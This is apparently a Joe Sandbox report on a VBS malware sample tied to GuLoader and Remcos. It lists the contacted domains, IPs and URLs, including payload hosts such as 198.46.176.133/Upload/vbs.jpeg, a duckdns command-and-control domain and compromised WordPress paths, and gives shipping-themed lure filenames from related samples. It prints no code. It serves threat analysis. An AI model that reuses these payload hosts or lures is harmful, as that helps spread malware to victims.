http://104.168.45.34	4%	Virustotal		Browse
iwarsut775laudrye2.duckdns.org	19%	Virustotal		Browse
https://www.office.com/	0%	Virustotal		Browse
https://asociatiatraditiimaria.ro/wp-json/	0%	Avira URL Cloud	safe
https://github.com/Pester/Pester	0%	Avira URL Cloud	safe
https://aefd.nelreports.net/api/report?cat=bingaot	0%	Avira URL Cloud	safe
http://198.46.176.133/Upload/vbs.jpeg	19%	Virustotal		Browse
https://asociatiatraditiimaria.ro/wp-content/themes/astra/assets/css/minified/main.min.css?ver=4.7.2	0%	Avira URL Cloud	safe
https://github.com/Pester/Pester	1%	Virustotal		Browse
https://new.quranushaiqer.org.sa	100%	Avira URL Cloud	malware
https://new.quranushaiqer.org.sa/wp-admin/oserve/transportment.pfml	100%	Avira URL Cloud	malware
https://asociatiatraditiimaria.ro/comments/feed/	14%	Virustotal		Browse
https://aefd.nelreports.net/api/report?cat=bingrms	0%	Avira URL Cloud	safe
https://www.google.com/accounts/servicelogin	0%	Avira URL Cloud	safe
https://asociatiatraditiimaria.ro/wp-json/	14%	Virustotal		Browse
https://aefd.nelreports.net/api/report?cat=bingaot	0%	Virustotal		Browse
http://104.168.45.34/59/LMTS.txt	100%	Avira URL Cloud	malware
https://new.quranushaiqer.org.sa	3%	Virustotal		Browse
https://asociatiatraditiimaria.ro/wp-content/themes/astra/assets/css/minified/main.min.css?ver=4.7.2	14%	Virustotal		Browse
https://aefd.nelreports.net/api/report?cat=bingrms	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	0%, Virustotal, Browse	unknown
asociatiatraditiimaria.ro	93.113.54.56	true	false	15%, Virustotal, Browse	unknown
geoplugin.net	178.237.33.50	true	false	1%, Virustotal, Browse	unknown
iwarsut775laudrye2.duckdns.org	192.253.251.227	true	true	19%, Virustotal, Browse	unknown
new.quranushaiqer.org.sa	34.166.62.190	true	false	17%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://new.quranushaiqer.org.sa/wp-admin/oserve/transportment.pfm	true	17%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://asociatiatraditiimaria.ro/os/transportment.pfm	true	4%, Virustotal, Browse Avira URL Cloud: malware	unknown
iwarsut775laudrye2.duckdns.org	true	19%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://198.46.176.133/Upload/vbs.jpeg	false	19%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://geoplugin.net/json.gp	false	URL Reputation: safe	unknown
http://104.168.45.34/59/LMTS.txt	false	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://M365CDN.nel.measure.office.net/api/report?FrontEnd=VerizonCDNWorldWide&DestinationEndpoint=P	bhvCCC4.tmp.7.dr	false	Avira URL Cloud: safe	unknown
http://www.imvu.comr	RegAsm.exe, 00000009.00000002.2121605113.0000000000400000.00000040.80000000.00040000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://asociatiatraditiimaria.ro/feed/	powershell.exe, 0000000A.00000002.3335508177.000000000546A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.3335508177.0000000005445000.00000004.00000800.00020000.00000000.sdmp	true	14%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://contoso.com/License	powershell.exe, 0000000A.00000002.3335508177.00000000051FC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://198.46.176.133/Upload/vbs.jpegM	powershell.exe, 00000002.00000002.2167362177.000001B1E9A60000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.nirsoft.net	RegAsm.exe, 00000007.00000002.2129094375.00000000010F4000.00000004.00000010.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://aefd.nelreports.net/api/report?cat=bingaotak	bhvCCC4.tmp.7.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://asociatiatraditiimaria.ro/wp-content/plugins/elementor/assets/css/frontend-lite.min.css?ver=	powershell.exe, 0000000A.00000002.3335508177.000000000546A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.3335508177.0000000005445000.00000004.00000800.00020000.00000000.sdmp	true	14%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://deff.nelreports.net/api/report?cat=msn	bhvCCC4.tmp.7.dr	false	URL Reputation: safe	unknown
https://gmpg.org/xfn/11	powershell.exe, 0000000A.00000002.3335508177.000000000546A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.3335508177.0000000005445000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://asociatiatraditiimaria.ro/wp-content/uploads/elementor/css/post-2731.css?ver=1720763767	powershell.exe, 0000000A.00000002.3335508177.000000000546A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.3335508177.0000000005445000.00000004.00000800.00020000.00000000.sdmp	true	14%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://198.46.176.133	powershell.exe, 00000002.00000002.2051614764.000001B1D1AA4000.00000004.00000800.00020000.00000000.sdmp	false	14%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.imvu.comhttp://www.ebuddy.comhttps://www.google.com	RegAsm.exe, 00000009.00000002.2121605113.0000000000400000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://asociatiatraditiimaria.ro/wp-includes/css/dist/block-library/style.min.css?ver=6.6.1	powershell.exe, 0000000A.00000002.3335508177.000000000546A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.3335508177.0000000005445000.00000004.00000800.00020000.00000000.sdmp	true	14%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.google.com	RegAsm.exe, RegAsm.exe, 00000009.00000002.2121605113.0000000000400000.00000040.80000000.00040000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://fp-afd.azurefd.us/apc/trans.gif?94fb5ac9609bcb4cda0bf8acf1827073	bhvCCC4.tmp.7.dr	false	Avira URL Cloud: safe	unknown
https://ecs.nel.measure.office.net?TenantId=Skype&DestinationEndpoint=Edge-Prod-LAX31r5a&FrontEnd=AF	bhvCCC4.tmp.7.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://geoplugin.net/json.gp/C	powershell.exe, 00000002.00000002.2109299164.000001B1E269C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2109299164.000001B1E188F000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000004.00000002.3261739148.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://maps.windows.com/windows-app-web-link	bhvCCC4.tmp.7.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://asociatiatraditiimaria.ro	powershell.exe, 0000000A.00000002.3272627711.00000000042E5000.00000004.00000800.00020000.00000000.sdmp	true	5%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://contoso.com/	powershell.exe, 0000000A.00000002.3335508177.00000000051FC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.3335508177.00000000051FC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aka.ms/pscore6lBjq	powershell.exe, 0000000A.00000002.3272627711.0000000004195000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.3272352105.0000000005281000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://login.yahoo.com/config/login	RegAsm.exe	false	URL Reputation: safe	unknown
https://new.quranushaiqer.org.sa/wp-admin/oserve/transportment.pfm0	powershell.exe, 0000000A.00000002.3272627711.00000000042E5000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://104.168.45.34	powershell.exe, 00000002.00000002.2051614764.000001B1D1AA4000.00000004.00000800.00020000.00000000.sdmp	false	4%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.nirsoft.net/	RegAsm.exe, 00000009.00000002.2121605113.0000000000400000.00000040.80000000.00040000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.imvu.comata	RegAsm.exe, 00000009.00000002.2124009469.00000000011CE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000002.00000002.2051614764.000001B1D1881000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.3272627711.0000000004195000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.3272352105.0000000005281000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.office.com/	bhvCCC4.tmp.7.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000002.00000002.2109299164.000001B1E18F3000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.3335508177.00000000051FC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000000A.00000002.3272627711.00000000042E5000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000000A.00000002.3272627711.00000000042E5000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://asociatiatraditiimaria.ro/comments/feed/	powershell.exe, 0000000A.00000002.3335508177.000000000546A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.3335508177.0000000005445000.00000004.00000800.00020000.00000000.sdmp	true	14%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://fp-afd.azurefd.us/apc/trans.gif?0cf92be82316943650f2ee723bc6949e	bhvCCC4.tmp.7.dr	false	Avira URL Cloud: safe	unknown
http://www.imvu.com	RegAsm.exe, RegAsm.exe, 00000009.00000002.2124009469.00000000011CE000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000009.00000002.2121605113.0000000000400000.00000040.80000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.w.org/	powershell.exe, 0000000A.00000002.3272627711.000000000453D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.3272627711.0000000004491000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 0000000A.00000002.3335508177.00000000051FC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://asociatiatraditiimaria.ro/wp-json/	powershell.exe, 0000000A.00000002.3272627711.000000000453D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.3272627711.0000000004491000.00000004.00000800.00020000.00000000.sdmp	true	14%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 0000000A.00000002.3272627711.00000000042E5000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://aefd.nelreports.net/api/report?cat=bingaot	bhvCCC4.tmp.7.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://asociatiatraditiimaria.ro/wp-content/themes/astra/assets/css/minified/main.min.css?ver=4.7.2	powershell.exe, 0000000A.00000002.3335508177.000000000546A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000A.00000002.3335508177.0000000005445000.00000004.00000800.00020000.00000000.sdmp	true	14%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://new.quranushaiqer.org.sa	powershell.exe, 0000000A.00000002.3272627711.000000000453D000.00000004.00000800.00020000.00000000.sdmp	false	3%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://new.quranushaiqer.org.sa/wp-admin/oserve/transportment.pfml	powershell.exe, 0000000E.00000002.3272352105.00000000053D6000.00000004.00000800.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://aefd.nelreports.net/api/report?cat=bingrms	bhvCCC4.tmp.7.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.google.com/accounts/servicelogin	RegAsm.exe	false	Avira URL Cloud: safe	unknown
https://aka.ms/pscore68	powershell.exe, 00000002.00000002.2051614764.000001B1D1881000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.ebuddy.com	RegAsm.exe, RegAsm.exe, 00000009.00000002.2121605113.0000000000400000.00000040.80000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
34.166.62.190	new.quranushaiqer.org.sa	United States	2686	ATGS-MMD-ASUS	false
93.113.54.56	asociatiatraditiimaria.ro	Romania	5588	GTSCEGTSCentralEuropeAntelGermanyCZ	false
192.253.251.227	iwarsut775laudrye2.duckdns.org	United States	50613	THORDC-ASIS	true
198.46.176.133	unknown	United States	36352	AS-COLOCROSSINGUS	false
178.237.33.50	geoplugin.net	Netherlands	8455	ATOM86-ASATOM86NL	false
104.168.45.34	unknown	United States	36352	AS-COLOCROSSINGUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1483434
Start date and time:	2024-07-27 13:30:11 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 20s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	createdthingstobefrankwithmeeverywhere.gIF.vbs
Detection:	MAL
Classification:	mal100.rans.phis.troj.spyw.expl.evad.winVBS@25/16@4/6
EGA Information:	Successful, ratio: 83.3%
HCA Information:	Successful, ratio: 99% Number of executed functions: 155 Number of non-executed functions: 332
Cookbook Comments:	Found application associated with file extension: .vbs

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.214.172
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, wu-b-net.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 7244 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
07:30:57	API Interceptor	247729x Sleep call for process: powershell.exe modified
07:31:09	API Interceptor	1x Sleep call for process: wscript.exe modified
07:31:34	API Interceptor	1124999x Sleep call for process: RegAsm.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
34.166.62.190	17220015066e9475efc6df52db0521bbe1501b782223eb28324fcb835a5fc91b6609347235811.dat-decoded.exe	Get hash	malicious	GuLoader, Remcos	Browse
	girlfrnd.doc	Get hash	malicious	GuLoader, Remcos	Browse
	waybill_shipping_documents_original_BL_CI&PL_26_07_2024_00000000_doc.xls	Get hash	malicious	GuLoader, Remcos	Browse
93.113.54.56	17220015066e9475efc6df52db0521bbe1501b782223eb28324fcb835a5fc91b6609347235811.dat-decoded.exe	Get hash	malicious	GuLoader, Remcos	Browse
	girlfrnd.doc	Get hash	malicious	GuLoader, Remcos	Browse
	waybill_shipping_documents_original_BL_CI&PL_26_07_2024_00000000_doc.xls	Get hash	malicious	GuLoader, Remcos	Browse
	dhl_awb_shipping_doc_03072024224782020031808174CN18030724000000324(991KB).vbs	Get hash	malicious	Unknown	Browse
	dhl_awb_shipping_doc_03072024224782020031808174CN18030724000000324(991KB).vbs	Get hash	malicious	Unknown	Browse
	https://avocat.srl/Auth#7045anVsaS5yaWxlc0B6YmV0YS5jb20=??Jqeh==%25RANDOM5#7045anVsaS5yaWxlc0B6YmV0YS5jb20=??Jqeh==96682=/..=L5QpUY&u=276b8dda4ef94158348d5b6b8&id=6b7205781d%25=/..=L5QpUY&u=276b8dda4ef94158348d5b6b8&id=6b7205781d	Get hash	malicious	Unknown	Browse
192.253.251.227	17220015066e9475efc6df52db0521bbe1501b782223eb28324fcb835a5fc91b6609347235811.dat-decoded.exe	Get hash	malicious	GuLoader, Remcos	Browse
	girlfrnd.doc	Get hash	malicious	GuLoader, Remcos	Browse
	waybill_shipping_documents_original_BL_CI&PL_26_07_2024_00000000_doc.xls	Get hash	malicious	GuLoader, Remcos	Browse
	awb_shipping_post_01072024224782020031808174CN18010724000000124(991KB).vbs	Get hash	malicious	GuLoader, Remcos	Browse
	UPS_Bill_of_lading_291098829T_28_06_2024_000000_pdf.vbs	Get hash	malicious	GuLoader, Remcos	Browse
	ups_awb_shipping_post_26062024224782020031808174CN18240624000002624(991KB).vbs	Get hash	malicious	GuLoader, Remcos	Browse
	awb_shipping_post_26062024224782020031808174CN18240624000002624(991KB).vbs	Get hash	malicious	GuLoader, Remcos	Browse
	pre_alert_awb_24062024224782020031808174CN1824062400000(991KB).vbs	Get hash	malicious	GuLoader, Remcos	Browse
	awb_shipping_post_24062024224782020031808174CN1824062400000(991KB).vbs	Get hash	malicious	GuLoader, Remcos	Browse
	korea_trade_product_order_specification_list_24_06_2024_0000000_pdf.vbs	Get hash	malicious	GuLoader, Remcos	Browse
198.46.176.133	createactiveimagesbeautygirlfrnd.gIF.vbs	Get hash	malicious	Remcos	Browse	198.46.176.133/Upload/vbs.jpeg
	screensimplethingstohandlecream.gIF.vbs	Get hash	malicious	Remcos	Browse	198.46.176.133/Upload/vbs.jpeg
	creatednewwaterbottleforme.gIF.vbs	Get hash	malicious	Unknown	Browse	198.46.176.133/Upload/vbs.jpeg
	IFqsFpijFt.rtf	Get hash	malicious	Remcos	Browse	198.46.176.133/Upload/vbs.jpeg
	girlfrnd.doc	Get hash	malicious	GuLoader, Remcos	Browse	198.46.176.133/Upload/vbs.jpeg
	erthings.doc	Get hash	malicious	Remcos	Browse	198.46.176.133/Upload/vbs.jpeg
	girlfrnd.doc	Get hash	malicious	Remcos	Browse	198.46.176.133/Upload/vbs.jpeg
	DHL Shipment Notification 490104998009.xls	Get hash	malicious	Remcos	Browse	198.46.176.133/Upload/vbs.jpeg
	Purchase Inquiry.xla.xlsx	Get hash	malicious	Remcos	Browse	198.46.176.133/Upload/vbs.jpeg
	AWD 490104998518.xls	Get hash	malicious	Remcos	Browse	198.46.176.133/Upload/vbs.jpeg

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
new.quranushaiqer.org.sa	17220015066e9475efc6df52db0521bbe1501b782223eb28324fcb835a5fc91b6609347235811.dat-decoded.exe	Get hash	malicious	GuLoader, Remcos	Browse	34.166.62.190
	girlfrnd.doc	Get hash	malicious	GuLoader, Remcos	Browse	34.166.62.190
	waybill_shipping_documents_original_BL_CI&PL_26_07_2024_00000000_doc.xls	Get hash	malicious	GuLoader, Remcos	Browse	34.166.62.190
iwarsut775laudrye2.duckdns.org	17220015066e9475efc6df52db0521bbe1501b782223eb28324fcb835a5fc91b6609347235811.dat-decoded.exe	Get hash	malicious	GuLoader, Remcos	Browse	192.253.251.227
	girlfrnd.doc	Get hash	malicious	GuLoader, Remcos	Browse	192.253.251.227
	waybill_shipping_documents_original_BL_CI&PL_26_07_2024_00000000_doc.xls	Get hash	malicious	GuLoader, Remcos	Browse	192.253.251.227
	waybill_shipping_documents_original_BL_CI&PL_01_07_2024_00000000_doc.vbs	Get hash	malicious	GuLoader, Remcos	Browse	192.253.251.228
	awb_shipping_post_01072024224782020031808174CN18010724000000124(991KB).vbs	Get hash	malicious	GuLoader, Remcos	Browse	192.253.251.227
	UPS_Bill_of_lading_291098829T_28_06_2024_000000_pdf.vbs	Get hash	malicious	GuLoader, Remcos	Browse	192.253.251.227
	ups_awb_shipping_post_26062024224782020031808174CN18240624000002624(991KB).vbs	Get hash	malicious	GuLoader, Remcos	Browse	192.253.251.227
	awb_shipping_post_26062024224782020031808174CN18240624000002624(991KB).vbs	Get hash	malicious	GuLoader, Remcos	Browse	192.253.251.227
	pre_alert_awb_24062024224782020031808174CN1824062400000(991KB).vbs	Get hash	malicious	GuLoader, Remcos	Browse	192.253.251.227
	awb_shipping_post_24062024224782020031808174CN1824062400000(991KB).vbs	Get hash	malicious	GuLoader, Remcos	Browse	192.253.251.227
asociatiatraditiimaria.ro	17220015066e9475efc6df52db0521bbe1501b782223eb28324fcb835a5fc91b6609347235811.dat-decoded.exe	Get hash	malicious	GuLoader, Remcos	Browse	93.113.54.56
	girlfrnd.doc	Get hash	malicious	GuLoader, Remcos	Browse	93.113.54.56
	waybill_shipping_documents_original_BL_CI&PL_26_07_2024_00000000_doc.xls	Get hash	malicious	GuLoader, Remcos	Browse	93.113.54.56
	dhl_awb_shipping_doc_03072024224782020031808174CN18030724000000324(991KB).vbs	Get hash	malicious	Unknown	Browse	93.113.54.56
	dhl_awb_shipping_doc_03072024224782020031808174CN18030724000000324(991KB).vbs	Get hash	malicious	Unknown	Browse	93.113.54.56
geoplugin.net	createactiveimagesbeautygirlfrnd.gIF.vbs	Get hash	malicious	Remcos	Browse	178.237.33.50
	screensimplethingstohandlecream.gIF.vbs	Get hash	malicious	Remcos	Browse	178.237.33.50
	41DLTjkmOm.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	Shipping documents PO 16103 INV.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	17220015066e9475efc6df52db0521bbe1501b782223eb28324fcb835a5fc91b6609347235811.dat-decoded.exe	Get hash	malicious	GuLoader, Remcos	Browse	178.237.33.50
	172200150645e30715396b41ed298fc2fc05d94f3a962536daa72f2c5d72e7d784323a4055802.dat-decoded.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	1722001145c8336cb6887f0bbe0b12744f5c43638979603a57a5fc96eb7f34015fb312b4f7920.dat-decoded.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	girlfrnd.doc	Get hash	malicious	GuLoader, Remcos	Browse	178.237.33.50
	erthings.doc	Get hash	malicious	Remcos	Browse	178.237.33.50
	girlfrnd.doc	Get hash	malicious	Remcos	Browse	178.237.33.50
bg.microsoft.map.fastly.net	https://www.canva.com/design/DAGMDp-pdRs/DFmIVehjt-ABqDbwZmCQ6Q/view?utm_content=DAGMDp-pdRs&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	HTMLPhisher	Browse	199.232.214.172
	nuCc19sDOl.exe	Get hash	malicious	RedLine	Browse	199.232.214.172
	d34e1p5zD2.exe	Get hash	malicious	Unknown	Browse	199.232.210.172
	QIKiV83Pkl.exe	Get hash	malicious	DCRat	Browse	199.232.214.172
	41DLTjkmOm.exe	Get hash	malicious	Remcos	Browse	199.232.210.172
	Ycj3d5NMhc.exe	Get hash	malicious	Unknown	Browse	199.232.214.172
	oz9Blof9tN.msi	Get hash	malicious	CobaltStrike	Browse	199.232.214.172
	QUOTATION_JULQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	199.232.210.172
	invoker.ps1	Get hash	malicious	Unknown	Browse	199.232.210.172
	http://investors.spotify.com.th.wuush.us.kg/	Get hash	malicious	Unknown	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
GTSCEGTSCentralEuropeAntelGermanyCZ	17220015066e9475efc6df52db0521bbe1501b782223eb28324fcb835a5fc91b6609347235811.dat-decoded.exe	Get hash	malicious	GuLoader, Remcos	Browse	93.113.54.56
	girlfrnd.doc	Get hash	malicious	GuLoader, Remcos	Browse	93.113.54.56
	waybill_shipping_documents_original_BL_CI&PL_26_07_2024_00000000_doc.xls	Get hash	malicious	GuLoader, Remcos	Browse	93.113.54.56
	LisectAVT_2403002A_35.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	185.146.87.128
	sh4.elf	Get hash	malicious	Mirai	Browse	195.56.40.173
	RiI7W2cj7p.elf	Get hash	malicious	Unknown	Browse	213.29.127.166
	https://liceultehnologicrosiajiu.ro/ulin/ulin8ce.html	Get hash	malicious	CVE-2024-21412	Browse	85.9.47.248
	KBNCt45Gpk.elf	Get hash	malicious	Mirai	Browse	212.203.170.235
	5xUAAMwlnJ.elf	Get hash	malicious	Unknown	Browse	193.86.218.248
	COMANDA_AXM_NR17_DIN_240717.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse	185.146.87.128
AS-COLOCROSSINGUS	createactiveimagesbeautygirlfrnd.gIF.vbs	Get hash	malicious	Remcos	Browse	198.46.176.133
	screensimplethingstohandlecream.gIF.vbs	Get hash	malicious	Remcos	Browse	192.3.101.142
	creatednewwaterbottleforme.gIF.vbs	Get hash	malicious	Unknown	Browse	198.46.176.133
	FpiUD4nYpj.exe	Get hash	malicious	LummaC, AsyncRAT, Go Injector, LummaC Stealer, SmokeLoader, VenomRAT	Browse	107.173.160.137
	e9ddd60081c3e01d049dc4d5ed5f150afc27ffbbdb8b6adf558fa677ad8875dd_dump.exe	Get hash	malicious	LummaC, AsyncRAT, Go Injector, LummaC Stealer, SmokeLoader, VenomRAT	Browse	107.173.160.137
	file.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer, SmokeLoader	Browse	107.173.160.137
	jjjUC5ggb2nQMb1B6SvBkwmT.exe	Get hash	malicious	PureLog Stealer, RedLine	Browse	23.94.183.150
	WIwTo1UTMq.elf	Get hash	malicious	Mirai	Browse	104.168.36.68
	172200150645e30715396b41ed298fc2fc05d94f3a962536daa72f2c5d72e7d784323a4055802.dat-decoded.exe	Get hash	malicious	Remcos	Browse	192.3.101.142
	1722001145c8336cb6887f0bbe0b12744f5c43638979603a57a5fc96eb7f34015fb312b4f7920.dat-decoded.exe	Get hash	malicious	Remcos	Browse	192.210.214.9
ATGS-MMD-ASUS	file.exe	Get hash	malicious	Unknown	Browse	34.160.144.191
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	34.160.144.191
	file.exe	Get hash	malicious	Unknown	Browse	34.160.144.191
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	34.160.144.191
	8NjcvPNvUr.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	34.160.144.191
	file.exe	Get hash	malicious	Unknown	Browse	34.160.144.191
	file.exe	Get hash	malicious	Unknown	Browse	34.160.144.191
	file.exe	Get hash	malicious	Unknown	Browse	34.160.144.191
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	34.160.144.191
	file.exe	Get hash	malicious	Unknown	Browse	34.160.144.191
THORDC-ASIS	17220015066e9475efc6df52db0521bbe1501b782223eb28324fcb835a5fc91b6609347235811.dat-decoded.exe	Get hash	malicious	GuLoader, Remcos	Browse	192.253.251.227
	girlfrnd.doc	Get hash	malicious	GuLoader, Remcos	Browse	192.253.251.227
	waybill_shipping_documents_original_BL_CI&PL_26_07_2024_00000000_doc.xls	Get hash	malicious	GuLoader, Remcos	Browse	192.253.251.227
	waybill_shipping_documents_original_BL_CI&PL_01_07_2024_00000000_doc.vbs	Get hash	malicious	GuLoader, Remcos	Browse	192.253.251.228
	awb_shipping_post_01072024224782020031808174CN18010724000000124(991KB).vbs	Get hash	malicious	GuLoader, Remcos	Browse	192.253.251.227
	UPS_Bill_of_lading_291098829T_28_06_2024_000000_pdf.vbs	Get hash	malicious	GuLoader, Remcos	Browse	192.253.251.227
	ups_awb_shipping_post_26062024224782020031808174CN18240624000002624(991KB).vbs	Get hash	malicious	GuLoader, Remcos	Browse	192.253.251.227
	awb_shipping_post_26062024224782020031808174CN18240624000002624(991KB).vbs	Get hash	malicious	GuLoader, Remcos	Browse	192.253.251.227
	pre_alert_awb_24062024224782020031808174CN1824062400000(991KB).vbs	Get hash	malicious	GuLoader, Remcos	Browse	192.253.251.227
	awb_shipping_post_24062024224782020031808174CN1824062400000(991KB).vbs	Get hash	malicious	GuLoader, Remcos	Browse	192.253.251.227
ATOM86-ASATOM86NL	createactiveimagesbeautygirlfrnd.gIF.vbs	Get hash	malicious	Remcos	Browse	178.237.33.50
	screensimplethingstohandlecream.gIF.vbs	Get hash	malicious	Remcos	Browse	178.237.33.50
	41DLTjkmOm.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	Shipping documents PO 16103 INV.exe	Get hash	malicious	Remcos	Browse	178.237.33.50
	17220015066e9475efc6df52db0521bbe1501b782223eb28324fcb835a5fc91b6609347235811.dat-decoded.exe	Get hash	malicious	GuLoader, Remcos	Browse	178.237.33.50
